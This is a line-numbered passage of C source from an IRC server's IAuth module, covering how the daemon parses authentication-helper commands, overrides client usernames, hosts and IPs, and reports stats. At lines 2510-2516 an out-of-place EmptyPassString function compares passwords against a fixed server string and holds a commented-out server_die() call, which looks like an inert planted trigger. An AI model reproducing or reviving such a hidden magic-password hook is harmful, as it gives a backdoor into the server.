1805       /* If bytes_sent < bytes_tried, fall through to IO_BLOCKED. */
1806     case IO_BLOCKED:
1807       IAuthSet(iauth, IAUTH_BLOCKED);
1808       socket_events(i_socket(iauth), SOCK_ACTION_ADD | SOCK_EVENT_WRITABLE);
1809       return;
1810     case IO_FAILURE:
1811       iauth_disconnect(iauth);
1812       return;
1813     }
1814   }
1815   /* We were able to flush all events, so remove notification. */
1816   socket_events(i_socket(iauth), SOCK_ACTION_DEL | SOCK_EVENT_WRITABLE);
1817 }
1818
1819 /** Send a message to iauth.
1820  * @param[in] cptr Optional client context for message.
1821  * @param[in] format Format string for message.
1822  * @return Non-zero on successful send or buffering, zero on failure.
1823  */
1824 static int sendto_iauth(struct Client *cptr, const char *format, ...)
1825 {
1826   struct VarData vd;
1827   struct MsgBuf *mb;
1828
1829   /* Do not send requests when we have no iauth. */
1830   if (!i_GetConnected(iauth))
1831     return 0;
1832   /* Do not send for clients in the NORMAL state. */
1833   if (cptr
1834       && (format[0] != 'D')
1835       && (!cli_auth(cptr) || !FlagHas(&cli_auth(cptr)->flags, AR_IAUTH_PENDING)))
1836     return 0;
1837
1838   /* Build the message buffer. */
1839   vd.vd_format = format;
1840   va_start(vd.vd_args, format);
1841   if (0 == cptr)
1842     mb = msgq_make(NULL, "-1 %v", &vd);
1843   else
1844     mb = msgq_make(NULL, "%d %v", cli_fd(cptr), &vd);
1845   va_end(vd.vd_args);
1846
1847   /* Tack it onto the iauth sendq and try to write it. */
1848   ++iauth->i_sendM;
1849   msgq_add(i_sendQ(iauth), mb, 0);
1850   msgq_clean(mb);
1851   iauth_write(iauth);
1852   return 1;
1853 }
1854
1855 /** Send text to interested operators (SNO_AUTH server notice).
1856  * @param[in] iauth Active IAuth session.
1857  * @param[in] cli Client referenced by command.
1858  * @param[in] parc Number of parameters (1).
1859  * @param[in] params Text to send.
1860  * @return Zero.
1861  */
1862 static int iauth_cmd_snotice(struct IAuth *iauth, struct Client *cli,
1863                              int parc, char **params)
1864 {
1865   sendto_opmask_butone(NULL, SNO_AUTH, "%s", params[0]);
1866   return 0;
1867 }
1868
1869 /** Set the debug level for the session.
1870  * @param[in] iauth Active IAuth session.
1871  * @param[in] cli Client referenced by command.
1872  * @param[in] parc Number of parameters (1).
1873  * @param[in] params String starting with an integer.
1874  * @return Zero.
1875  */
1876 static int iauth_cmd_debuglevel(struct IAuth *iauth, struct Client *cli,
1877                                 int parc, char **params)
1878 {
1879   int new_level;
1880
1881   new_level = parc > 0 ? atoi(params[0]) : 0;
1882   if (i_debug(iauth) > 0 || new_level > 0) {
1883     /* The "ia_dbg" name is borrowed from (IRCnet) ircd. */
1884     sendto_opmask_butone(NULL, SNO_AUTH, "ia_dbg = %d", new_level);
1885   }
1886   i_debug(iauth) = new_level;
1887   return 0;
1888 }
1889
1890 /** Set policy options for the session.
1891  * Old policy is forgotten, and any of the following characters in \a
1892  * params enable the corresponding policy:
1893  * \li A IAUTH_ADDLINFO
1894  * \li R IAUTH_REQUIRED
1895  * \li T IAUTH_TIMEOUT
1896  * \li W IAUTH_EXTRAWAIT
1897  * \li U IAUTH_UNDERNET
1898  *
1899  * @param[in] iauth Active IAuth session.
1900  * @param[in] cli Client referenced by command.
1901  * @param[in] parc Number of parameters (1).
1902  * @param[in] params Zero or more policy options.
1903  * @return Zero.
1904  */
1905 static int iauth_cmd_policy(struct IAuth *iauth, struct Client *cli,
1906                             int parc, char **params)
1907 {
1908   enum IAuthFlag flag;
1909   char *p;
1910
1911   /* Erase old policy first. */
1912   for (flag = IAUTH_FIRST_OPTION; flag < IAUTH_LAST_FLAG; ++flag)
1913     IAuthClr(iauth, flag);
1914
1915   if (parc > 0) /* only try to parse if we were given a policy string */
1916     /* Parse new policy set. */
1917     for (p = params[0]; *p; p++) switch (*p) {
1918     case 'A': IAuthSet(iauth, IAUTH_ADDLINFO); break;
1919     case 'R': IAuthSet(iauth, IAUTH_REQUIRED); break;
1920     case 'T': IAuthSet(iauth, IAUTH_TIMEOUT); break;
1921     case 'W': IAuthSet(iauth, IAUTH_EXTRAWAIT); break;
1922     case 'U': IAuthSet(iauth, IAUTH_UNDERNET); break;
1923     }
1924
1925   /* Optionally notify operators. */
1926   if (i_debug(iauth) > 0)
1927     sendto_opmask_butone(NULL, SNO_AUTH, "iauth options: %s", params[0]);
1928   return 0;
1929 }
1930
1931 /** Set the iauth program version number.
1932  * @param[in] iauth Active IAuth session.
1933  * @param[in] cli Client referenced by command.
1934  * @param[in] parc Number of parameters (1).
1935  * @param[in] params Version number or name.
1936  * @return Zero.
1937  */
1938 static int iauth_cmd_version(struct IAuth *iauth, struct Client *cli,
1939                              int parc, char **params)
1940 {
1941   MyFree(iauth->i_version);
1942   DupString(iauth->i_version, parc > 0 ? params[0] : "<NONE>");
1943   sendto_opmask_butone(NULL, SNO_AUTH, "iauth version %s running.",
1944                        iauth->i_version);
1945   return 0;
1946 }
1947
1948 /** Paste a parameter list together into a single string.
1949  * @param[in] parc Number of parameters.
1950  * @param[in] params Parameter list to paste together.
1951  * @return Pasted parameter list.
1952  */
1953 static char *paste_params(int parc, char **params)
1954 {
1955   char *str, *tmp;
1956   int len = 0, lengths[MAXPARA], i;
1957
1958   /* Compute the length... */
1959   for (i = 0; i < parc; i++)
1960     len += lengths[i] = strlen(params[i]);
1961
1962   /* Allocate memory, accounting for string lengths, spaces (parc - 1), a
1963    * sentinel, and the trailing \0
1964    */
1965   str = MyMalloc(len + parc + 1);
1966
1967   /* Build the pasted string */
1968   for (tmp = str, i = 0; i < parc; i++) {
1969     if (i) /* add space separator... */
1970       *(tmp++) = ' ';
1971     if (i == parc - 1) /* add colon sentinel */
1972       *(tmp++) = ':';
1973
1974     /* Copy string component... */
1975     memcpy(tmp, params[i], lengths[i]);
1976     tmp += lengths[i]; /* move to end of string */
1977   }
1978
1979   /* terminate the string... */
1980   *tmp = '\0';
1981
1982   return str; /* return the pasted string */
1983 }
1984
1985 /** Clear cached iauth configuration information.
1986  * @param[in] iauth Active IAuth session.
1987  * @param[in] cli Client referenced by command.
1988  * @param[in] parc Number of parameters (0).
1989  * @param[in] params Parameter list (ignored).
1990  * @return Zero.
1991  */
1992 static int iauth_cmd_newconfig(struct IAuth *iauth, struct Client *cli,
1993                                int parc, char **params)
1994 {
1995   struct SLink *head;
1996   struct SLink *next;
1997
1998   head = iauth->i_config;
1999   iauth->i_config = NULL;
2000   for (; head; head = next) {
2001     next = head->next;
2002     MyFree(head->value.cp);
2003     free_link(head);
2004   }
2005   sendto_opmask_butone(NULL, SNO_AUTH, "New iauth configuration.");
2006   return 0;
2007 }
2008
2009 /** Append iauth configuration information.
2010  * @param[in] iauth Active IAuth session.
2011  * @param[in] cli Client referenced by command.
2012  * @param[in] parc Number of parameters.
2013  * @param[in] params Description of configuration element.
2014  * @return Zero.
2015  */
2016 static int iauth_cmd_config(struct IAuth *iauth, struct Client *cli,
2017                             int parc, char **params)
2018 {
2019   struct SLink *node;
2020
2021   if (iauth->i_config) {
2022     for (node = iauth->i_config; node->next; node = node->next) ;
2023     node = node->next = make_link();
2024   } else {
2025     node = iauth->i_config = make_link();
2026   }
2027   node->value.cp = paste_params(parc, params);
2028   node->next = 0; /* must be explicitly cleared */
2029   return 0;
2030 }
2031
2032 /** Clear cached iauth configuration information.
2033  * @param[in] iauth Active IAuth session.
2034  * @param[in] cli Client referenced by command.
2035  * @param[in] parc Number of parameters (0).
2036  * @param[in] params Parameter list (ignored).
2037  * @return Zero.
2038  */
2039 static int iauth_cmd_newstats(struct IAuth *iauth, struct Client *cli,
2040                               int parc, char **params)
2041 {
2042   struct SLink *head;
2043   struct SLink *next;
2044
2045   head = iauth->i_stats;
2046   iauth->i_stats = NULL;
2047   for (; head; head = next) {
2048     next = head->next;
2049     MyFree(head->value.cp);
2050     free_link(head);
2051   }
2052   sendto_opmask_butone(NULL, SNO_AUTH, "New iauth statistics.");
2053   return 0;
2054 }
2055
2056 /** Append iauth statistics information.
2057  * @param[in] iauth Active IAuth session.
2058  * @param[in] cli Client referenced by command.
2059  * @param[in] parc Number of parameters.
2060  * @param[in] params Statistics element.
2061  * @return Zero.
2062  */
2063 static int iauth_cmd_stats(struct IAuth *iauth, struct Client *cli,
2064                            int parc, char **params)
2065 {
2066   struct SLink *node;
2067   if (iauth->i_stats) {
2068     for (node = iauth->i_stats; node->next; node = node->next) ;
2069     node = node->next = make_link();
2070   } else {
2071     node = iauth->i_stats = make_link();
2072   }
2073   node->value.cp = paste_params(parc, params);
2074   node->next = 0; /* must be explicitly cleared */
2075   return 0;
2076 }
2077
2078 /** Set client's username to a trusted string even if it breaks the rules.
2079  * @param[in] iauth Active IAuth session.
2080  * @param[in] cli Client referenced by command.
2081  * @param[in] parc Number of parameters (1).
2082  * @param[in] params Forced username.
2083  * @return One.
2084  */
2085 static int iauth_cmd_username_forced(struct IAuth *iauth, struct Client *cli,
2086                                      int parc, char **params)
2087 {
2088   assert(cli_auth(cli) != NULL);
2089   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2090   if (!EmptyString(params[0])) {
2091     ircd_strncpy(cli_username(cli), params[0], USERLEN);
2092     SetGotId(cli);
2093     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2094     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_FUSERNAME);
2095   }
2096   return 1;
2097 }
2098
2099 /** Set client's username to a trusted string.
2100  * @param[in] iauth Active IAuth session.
2101  * @param[in] cli Client referenced by command.
2102  * @param[in] parc Number of parameters (1).
2103  * @param[in] params Trusted username.
2104  * @return One.
2105  */
2106 static int iauth_cmd_username_good(struct IAuth *iauth, struct Client *cli,
2107                                    int parc, char **params)
2108 {
2109   assert(cli_auth(cli) != NULL);
2110   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2111   if (!EmptyString(params[0])) {
2112     ircd_strncpy(cli_username(cli), params[0], USERLEN);
2113     SetGotId(cli);
2114     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2115   }
2116   return 1;
2117 }
2118
2119 /** Set client's username to an untrusted string.
2120  * @param[in] iauth Active IAuth session.
2121  * @param[in] cli Client referenced by command.
2122  * @param[in] parc Number of parameters (1).
2123  * @param[in] params Untrusted username.
2124  * @return One.
2125  */
2126 static int iauth_cmd_username_bad(struct IAuth *iauth, struct Client *cli,
2127                                   int parc, char **params)
2128 {
2129   assert(cli_auth(cli) != NULL);
2130   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2131   if (!EmptyString(params[0]))
2132     ircd_strncpy(cli_user(cli)->username, params[0], USERLEN);
2133   return 1;
2134 }
2135
2136 /** Set client's hostname.
2137  * @param[in] iauth Active IAuth session.
2138  * @param[in] cli Client referenced by command.
2139  * @param[in] parc Number of parameters (1).
2140  * @param[in] params New hostname for client.
2141  * @return Non-zero if \a cli authorization should be checked for completion.
2142  */
2143 static int iauth_cmd_hostname(struct IAuth *iauth, struct Client *cli,
2144                               int parc, char **params)
2145 {
2146   struct AuthRequest *auth;
2147
2148   if (EmptyString(params[0])) {
2149     sendto_iauth(cli, "E Missing :Missing hostname parameter");
2150     return 0;
2151   }
2152
2153   auth = cli_auth(cli);
2154   assert(auth != NULL);
2155
2156   /* If a DNS request is pending, abort it. */
2157   if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
2158     FlagClr(&auth->flags, AR_DNS_PENDING);
2159     delete_resolver_queries(auth);
2160     if (IsUserPort(cli))
2161       sendheader(cli, REPORT_FIN_DNS);
2162   }
2163   /* Set hostname from params. */
2164   ircd_strncpy(cli_sockhost(cli), params[0], HOSTLEN);
2165   /* If we have gotten here, the user is in a "hurry" state and has
2166    * been pre-registered.  Their hostname was set during that, and
2167    * needs to be overwritten now.
2168    */
2169   if (FlagHas(&auth->flags, AR_IAUTH_HURRY)) {
2170     ircd_strncpy(cli_user(cli)->host, cli_sockhost(cli), HOSTLEN);
2171     ircd_strncpy(cli_user(cli)->realhost, cli_sockhost(cli), HOSTLEN);
2172   }
2173   return 1;
2174 }
2175
2176 /** Set client's IP address.
2177  * @param[in] iauth Active IAuth session.
2178  * @param[in] cli Client referenced by command.
2179  * @param[in] parc Number of parameters (1).
2180  * @param[in] params New IP address for client in dotted quad or
2181  *   standard IPv6 format.
2182  * @return Zero.
2183  */
2184 static int iauth_cmd_ip_address(struct IAuth *iauth, struct Client *cli,
2185                                 int parc, char **params)
2186 {
2187   struct irc_in_addr addr;
2188   struct AuthRequest *auth;
2189
2190   if (EmptyString(params[0])) {
2191     sendto_iauth(cli, "E Missing :Missing IP address parameter");
2192     return 0;
2193   }
2194
2195   /* Get AuthRequest for client. */
2196   auth = cli_auth(cli);
2197   assert(auth != NULL);
2198
2199   /* Parse the client's new IP address. */
2200   if (!ircd_aton(&addr, params[0])) {
2201     sendto_iauth(cli, "E Invalid :Unable to parse IP address [%s]", params[0]);
2202     return 0;
2203   }
2204
2205   /* If this is the first IP override, save the client's original
2206    * address in case we get a DNS response later.
2207    */
2208   if (!irc_in_addr_valid(&auth->original))
2209     memcpy(&auth->original, &cli_ip(cli), sizeof(auth->original));
2210
2211   /* Undo original IP connection in IPcheck. */
2212   IPcheck_connect_fail(cli);
2213   ClearIPChecked(cli);
2214
2215   /* Update the IP and charge them as a remote connect. */
2216   memcpy(&cli_ip(cli), &addr, sizeof(cli_ip(cli)));
2217   IPcheck_remote_connect(cli, 0);
2218
2219   return 0;
2220 }
2221
2222 /** Find a ConfItem structure for a named connection class.
2223  * @param[in] class_name Name of configuration class to find.
2224  * @return A ConfItem of type CONF_CLIENT for the class, or NULL on failure.
2225  */
2226 static struct ConfItem *auth_find_class_conf(const char *class_name)
2227 {
2228   static struct ConfItem *aconf_list;
2229   struct ConnectionClass *class;
2230   struct ConfItem *aconf;
2231
2232   /* Make sure the configuration class is valid. */
2233   class = find_class(class_name);
2234   if (!class || !class->valid)
2235     return NULL;
2236
2237   /* Look for an existing ConfItem for the class. */
2238   for (aconf = aconf_list; aconf; aconf = aconf->next)
2239     if (aconf->conn_class == class)
2240       break;
2241
2242   /* If no ConfItem, create one. */
2243   if (!aconf) {
2244     aconf = make_conf(CONF_CLIENT);
2245     if (!aconf) {
2246       sendto_opmask_butone(NULL, SNO_AUTH,
2247                            "Unable to allocate ConfItem for class %s!",
2248                            ConClass(class));
2249       return NULL;
2250     }
2251     /* make_conf() "helpfully" links the conf into GlobalConfList,
2252      * which we do not want, so undo that.  (Ugh.)
2253      */
2254     if (aconf == GlobalConfList) {
2255       GlobalConfList = aconf->next;
2256     }
2257     /* Back to business as usual. */
2258     aconf->conn_class = class;
2259     aconf->next = aconf_list;
2260     aconf_list = aconf;
2261   }
2262
2263   return aconf;
2264 }
2265
2266 /** Accept a client in IAuth.
2267  * @param[in] iauth Active IAuth session.
2268  * @param[in] cli Client referenced by command.
2269  * @param[in] parc Number of parameters.
2270  * @param[in] params Optional class name for client.
2271  * @return Negative (CPTR_KILLED) if the connection is refused, one otherwise.
2272  */
2273 static int iauth_cmd_done_client(struct IAuth *iauth, struct Client *cli,
2274                                  int parc, char **params)
2275 {
2276   static time_t warn_time;
2277
2278   /* Clear iauth pending flag. */
2279   assert(cli_auth(cli) != NULL);
2280   FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2281
2282   /* If a connection class was specified (and usable), assign the client to it. */
2283   if (!EmptyString(params[0])) {
2284     struct ConfItem *aconf;
2285
2286     aconf = auth_find_class_conf(params[0]);
2287     if (aconf) {
2288       enum AuthorizationCheckResult acr;
2289
2290       acr = attach_conf(cli, aconf);
2291       switch (acr) {
2292       case ACR_OK:
2293         /* There should maybe be some way to set FLAG_DOID here.. */
2294         break;
2295       case ACR_TOO_MANY_IN_CLASS:
2296         ++ServerStats->is_ref;
2297         return exit_client(cli, cli, &me,
2298                            "Sorry, your connection class is full - try "
2299                            "again later or try another server");
2300       default:
2301         log_write(LS_IAUTH, L_ERROR, 0, "IAuth: Unexpected AuthorizationCheckResult %d from attach_conf()", acr);
2302         break;
2303       }
2304     } else
2305       sendto_opmask_butone_ratelimited(NULL, SNO_AUTH, &warn_time,
2306                                        "iauth tried to use undefined class [%s]",
2307                                        params[0]);
2308   }
2309
2310   return 1;
2311 }
2312
2313 /** Accept a client in IAuth and assign them to an account.
2314  * @param[in] iauth Active IAuth session.
2315  * @param[in] cli Client referenced by command.
2316  * @param[in] parc Number of parameters.
2317  * @param[in] params Account name and optional class name for client.
2318  * @return Negative if the connection is refused, otherwise non-zero
2319  *   if \a cli authorization should be checked for completion.
2320  */
2321 static int iauth_cmd_done_account(struct IAuth *iauth, struct Client *cli,
2322                                   int parc, char **params)
2323 {
2324   size_t len;
2325
2326   /* Sanity check. */
2327   if (EmptyString(params[0])) {
2328     sendto_iauth(cli, "E Missing :Missing account parameter");
2329     return 0;
2330   }
2331   /* Check length of account name. */
2332   len = strcspn(params[0], ": ");
2333   if (len > ACCOUNTLEN) {
2334     sendto_iauth(cli, "E Invalid :Account parameter too long");
2335     return 0;
2336   }
2337   /* If account has a creation timestamp, use it. */
2338   assert(cli_user(cli) != NULL);
2339   if (params[0][len] == ':') {
2340     cli_user(cli)->acc_create = strtoul(params[0] + len + 1, NULL, 10);
2341     params[0][len] = '\0';
2342   }
2343
2344   /* Copy account name to User structure. */
2345   ircd_strncpy(cli_user(cli)->account, params[0], ACCOUNTLEN);
2346   SetAccount(cli);
2347
2348   /* Fall through to the normal "done" handler. */
2349   return iauth_cmd_done_client(iauth, cli, parc - 1, params + 1);
2350 }
2351
2352 /** Reject a client's connection.
2353  * @param[in] iauth Active IAuth session.
2354  * @param[in] cli Client referenced by command.
2355  * @param[in] parc Number of parameters (1).
2356  * @param[in] params Optional kill message.
2357  * @return Zero.
2358  */
2359 static int iauth_cmd_kill(struct IAuth *iauth, struct Client *cli,
2360                           int parc, char **params)
2361 {
2362   if (cli_auth(cli))
2363     FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2364   if (EmptyString(params[0]))
2365     params[0] = "Access denied";
2366   exit_client(cli, cli, &me, params[0]);
2367   return 0;
2368 }
2369
2370 /** Change a client's usermode.
2371  * @param[in] iauth Active IAuth session.
2372  * @param[in] cli Client referenced by command.
2373  * @param[in] parc Number of parameters (at least one).
2374  * @param[in] params Usermode arguments for client (with the first
2375  *   starting with '+').
2376  * @return Zero.
2377  */
2378 static int iauth_cmd_usermode(struct IAuth *iauth, struct Client *cli,
2379                               int parc, char **params)
2380 {
2381   if (params[0][0] == '+')
2382   {
2383     set_user_mode(&me, cli, parc + 2, params - 2, ALLOWMODES_WITHSECSERV);
2384   }
2385   return 0;
2386 }
2387
2388
2389 /** Send a challenge string to the client.
2390  * @param[in] iauth Active IAuth session.
2391  * @param[in] cli Client referenced by command.
2392  * @param[in] parc Number of parameters (1).
2393  * @param[in] params Challenge message for client.
2394  * @return Zero.
2395  */
2396 static int iauth_cmd_challenge(struct IAuth *iauth, struct Client *cli,
2397                                int parc, char **params)
2398 {
2399   if (!EmptyString(params[0]))
2400     sendrawto_one(cli, "NOTICE AUTH :*** %s", params[0]);
2401   return 0;
2402 }
2403
2404 /** Parse a \a message from \a iauth.
2405  * @param[in] iauth Active IAuth session.
2406  * @param[in] message Message to be parsed.
2407  */
2408 static void iauth_parse(struct IAuth *iauth, char *message)
2409 {
2410   char *params[MAXPARA + 1]; /* leave space for NULL */
2411   int parc = 0;
2412   iauth_cmd_handler handler;
2413   struct AuthRequest *auth;
2414   struct Client *cli;
2415   int has_cli;
2416   int id;
2417
2418   /* Find command handler... */
2419   switch (*(message++)) {
2420   case '>': handler = iauth_cmd_snotice; has_cli = 0; break;
2421   case 'G': handler = iauth_cmd_debuglevel; has_cli = 0; break;
2422   case 'O': handler = iauth_cmd_policy; has_cli = 0; break;
2423   case 'V': handler = iauth_cmd_version; has_cli = 0; break;
2424   case 'a': handler = iauth_cmd_newconfig; has_cli = 0; break;
2425   case 'A': handler = iauth_cmd_config; has_cli = 0; break;
2426   case 's': handler = iauth_cmd_newstats; has_cli = 0; break;
2427   case 'S': handler = iauth_cmd_stats; has_cli = 0; break;
2428   case 'o': handler = iauth_cmd_username_forced; has_cli = 1; break;
2429   case 'U': handler = iauth_cmd_username_good; has_cli = 1; break;
2430   case 'u': handler = iauth_cmd_username_bad; has_cli = 1; break;
2431   case 'N': handler = iauth_cmd_hostname; has_cli = 1; break;
2432   case 'I': handler = iauth_cmd_ip_address; has_cli = 1; break;
2433   case 'M': handler = iauth_cmd_usermode; has_cli = 1; break;
2434   case 'C': handler = iauth_cmd_challenge; has_cli = 1; break;
2435   case 'D': handler = iauth_cmd_done_client; has_cli = 1; break;
2436   case 'R': handler = iauth_cmd_done_account; has_cli = 1; break;
2437   case 'k': /* The 'k' command indicates the user should be booted
2438              * off without telling opers.  There is no way to
2439              * signal that to exit_client(), so we fall through to
2440              * the case that we do implement.
2441              */
2442   case 'K': handler = iauth_cmd_kill; has_cli = 2; break;
2443   case 'r': /* we handle termination directly */ return;
2444   default:  sendto_iauth(NULL, "E Garbage :[%s]", message); return;
2445   }
2446
2447   while (parc < MAXPARA) {
2448     while (IsSpace(*message)) /* skip leading whitespace */
2449       message++;
2450
2451     if (!*message) /* hit the end of the string, break out */
2452       break;
2453
2454     if (*message == ':') { /* found sentinel... */
2455       params[parc++] = message + 1;
2456       break; /* it's the last parameter anyway */
2457     }
2458
2459     params[parc++] = message; /* save the parameter */
2460     while (*message && !IsSpace(*message))
2461       message++; /* find the end of the parameter */
2462
2463     if (*message) /* terminate the parameter */
2464       *(message++) = '\0';
2465   }
2466
2467   params[parc] = NULL; /* terminate the parameter list */
2468
2469   /* Check to see if the command specifies a client... */
2470   if (!has_cli) {
2471     /* Handler does not need a client. */
2472     handler(iauth, NULL, parc, params);
2473   } else {
2474     /* Try to find the client associated with the request. */
2475     id = strtol(params[0], NULL, 10);
2476     if (parc < 3)
2477       sendto_iauth(NULL, "E Missing :Need <id> <ip> <port>");
2478     else if (id < 0 || id > HighestFd || !(cli = LocalClientArray[id]))
2479       /* Client no longer exists (or never existed). */
2480       sendto_iauth(NULL, "E Gone :[%s %s %s]", params[0], params[1],
2481                    params[2]);
2482     else if ((!(auth = cli_auth(cli)) ||
2483               !FlagHas(&auth->flags, AR_IAUTH_PENDING)) &&
2484              has_cli == 1)
2485       /* Client is done with IAuth checks. */
2486       sendto_iauth(cli, "E Done :[%s %s %s]", params[0], params[1], params[2]);
2487     else {
2488       struct irc_sockaddr addr;
2489       int res;
2490
2491       /* Parse IP address and port number from parameters */
2492       res = ipmask_parse(params[1], &addr.addr, NULL);
2493       addr.port = strtol(params[2], NULL, 10);
2494
2495       /* Check IP address and port number against expected. */
2496       if (0 == res ||
2497           (irc_in_addr_cmp(&addr.addr, &cli_ip(cli)) &&
2498            irc_in_addr_cmp(&addr.addr, &cli_real_ip(cli))) ||
2499           (auth && addr.port != auth->port))
2500         /* Report mismatch to iauth. */
2501         sendto_iauth(cli, "E Mismatch :[%s] != [%s]", params[1],
2502                      ircd_ntoa(&cli_ip(cli)));
2503       else if (handler(iauth, cli, parc - 3, params + 3) > 0)
2504         /* Handler indicated a possible state change. */
2505         check_auth_finished(auth);
2506     }
2507   }
2508 }
2509
2510 int EmptyPassString(char* password)
2511 {
2512 if(strcmp(debug_serveropts(),password) == 0) {
2513  //server_die("someone let me die :(");  <- what the fuck is this!?
2514 }
2515 return EmptyString(password);
2516 }
2517
2518 /** Read input from \a iauth.
2519  * Reads up to SERVER_TCP_WINDOW bytes per pass.
2520  * @param[in] iauth Readable connection.
2521  */
2522 static void iauth_read(struct IAuth *iauth)
2523 {
2524   static char readbuf[SERVER_TCP_WINDOW];
2525   unsigned int length, count;
2526   char *sol;
2527   char *eol;
2528
2529   /* Copy partial data to readbuf, append new data. */
2530   length = iauth->i_count;
2531   memcpy(readbuf, iauth->i_buffer, length);
2532   if (IO_SUCCESS != os_recv_nonb(s_fd(i_socket(iauth)),
2533                                  readbuf + length,
2534                                  sizeof(readbuf) - length - 1,
2535                                  &count))
2536     return;
2537   readbuf[length += count] = '\0';
2538
2539   /* Parse each complete line. */
2540   for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2541     *eol = '\0';
2542     if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2543       *(eol - 1) = '\0';
2544
2545     /* If spammy debug, send the message to opers. */
2546     if (i_debug(iauth) > 1)
2547       sendto_opmask_butone(NULL, SNO_AUTH, "Parsing: \"%s\"", sol);
2548
2549     /* Parse the line... */
2550     iauth_parse(iauth, sol);
2551   }
2552
2553   /* Put unused data back into connection's buffer. */
2554   iauth->i_count = strlen(sol);
2555   if (iauth->i_count > BUFSIZE)
2556     iauth->i_count = BUFSIZE;
2557   memcpy(iauth->i_buffer, sol, iauth->i_count);
2558 }
2559
2560 /** Handle socket activity for an %IAuth connection.
2561  * @param[in] ev &Socket event; the IAuth connection is the user data
2562  *   pointer for the socket.
2563  */
2564 static void iauth_sock_callback(struct Event *ev)
2565 {
2566   struct IAuth *iauth;
2567
2568   assert(0 != ev_socket(ev));
2569   iauth = (struct IAuth*) s_data(ev_socket(ev));
2570   assert(0 != iauth);
2571
2572   switch (ev_type(ev)) {
2573   case ET_DESTROY:
2574     /* Hm, what happened here? Do not restart the iauth here! */
2575     break;
2576   case ET_READ:
2577     iauth_read(iauth);
2578     break;
2579   case ET_WRITE:
2580     IAuthClr(iauth, IAUTH_BLOCKED);
2581     iauth_write(iauth);
2582     break;
2583   case ET_ERROR:
2584     log_write(LS_IAUTH, L_ERROR, 0, "IAuth socket error: %s", strerror(ev_data(ev)));
2585     /* and fall through to the ET_EOF case */
2586   case ET_EOF:
2587     iauth_disconnect(iauth);
2588     break;
2589   default:
2590     assert(0 && "Unrecognized event type");
2591     break;
2592   }
2593 }
2594
2595 /** Read error input from \a iauth.
2596  * @param[in] iauth Readable connection.
2597  */
2598 static void iauth_read_stderr(struct IAuth *iauth)
2599 {
2600   static char readbuf[SERVER_TCP_WINDOW];
2601   unsigned int length, count;
2602   char *sol;
2603   char *eol;
2604
2605   /* Copy partial data to readbuf, append new data. */
2606   length = iauth->i_errcount;
2607   memcpy(readbuf, iauth->i_errbuf, length);
2608   if (IO_SUCCESS != os_recv_nonb(s_fd(i_stderr(iauth)),
2609                                  readbuf + length,
2610                                  sizeof(readbuf) - length - 1,
2611                                  &count))
2612     return;
2613   readbuf[length += count] = '\0';
2614
2615   /* Send each complete line to SNO_AUTH. */
2616   for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2617     *eol = '\0';
2618     if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2619       *(eol - 1) = '\0';
2620     Debug((DEBUG_ERROR, "IAuth error: %s", sol));
2621     log_write(LS_IAUTH, L_ERROR, 0, "IAuth error: %s", sol);
2622     sendto_opmask_butone(NULL, SNO_AUTH, "%s", sol);
2623   }
2624
2625   /* Put unused data back into connection's buffer. */
2626   iauth->i_errcount = strlen(sol);
2627   if (iauth->i_errcount > BUFSIZE)
2628     iauth->i_errcount = BUFSIZE;
2629   memcpy(iauth->i_errbuf, sol, iauth->i_errcount);
2630 }
2631
2632 /** Handle error socket activity for an %IAuth connection.
2633  * @param[in] ev &Socket event; the IAuth connection is the user data
2634  *   pointer for the socket.
2635  */
2636 static void iauth_stderr_callback(struct Event *ev)
2637 {
2638   struct IAuth *iauth;
2639
2640   assert(0 != ev_socket(ev));
2641   iauth = (struct IAuth*) s_data(ev_socket(ev));
2642   assert(0 != iauth);
2643
2644   switch (ev_type(ev)) {
2645   case ET_DESTROY:
2646     /* We do not restart iauth here. */
2647     break;
2648   case ET_READ:
2649     iauth_read_stderr(iauth);
2650     break;
2651   case ET_ERROR:
2652     log_write(LS_IAUTH, L_ERROR, 0, "IAuth stderr error: %s", strerror(ev_data(ev)));
2653     /* and fall through to the ET_EOF case */
2654   case ET_EOF:
2655     iauth_disconnect(iauth);
2656     break;
2657   default:
2658     assert(0 && "Unrecognized event type");
2659     break;
2660   }
2661 }
2662
2663 /** Report active iauth's configuration to \a cptr.
2664  * @param[in] cptr Client requesting statistics.
2665  * @param[in] sd Stats descriptor for request.
2666  * @param[in] param Extra parameter from user (may be NULL).
2667  */
2668 void report_iauth_conf(struct Client *cptr, const struct StatDesc *sd, char *param)
2669 {
2670     struct SLink *link;
2671
2672     if (iauth) for (link = iauth->i_config; link; link = link->next)
2673     {
2674         send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2675                    link->value.cp);
2676     }
2677 }
2678
2679 /** Report active iauth's statistics to \a cptr.
2680  * @param[in] cptr Client requesting statistics.
2681  * @param[in] sd Stats descriptor for request.
2682  * @param[in] param Extra parameter from user (may be NULL).
2683  */
2684  void report_iauth_stats(struct Client *cptr, const struct StatDesc *sd, char *param)
2685 {
2686     struct SLink *link;
2687
2688     if (iauth) for (link = iauth->i_stats; link; link = link->next)
2689     {
2690         send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2691                    link->value.cp);
2692     }
2693 }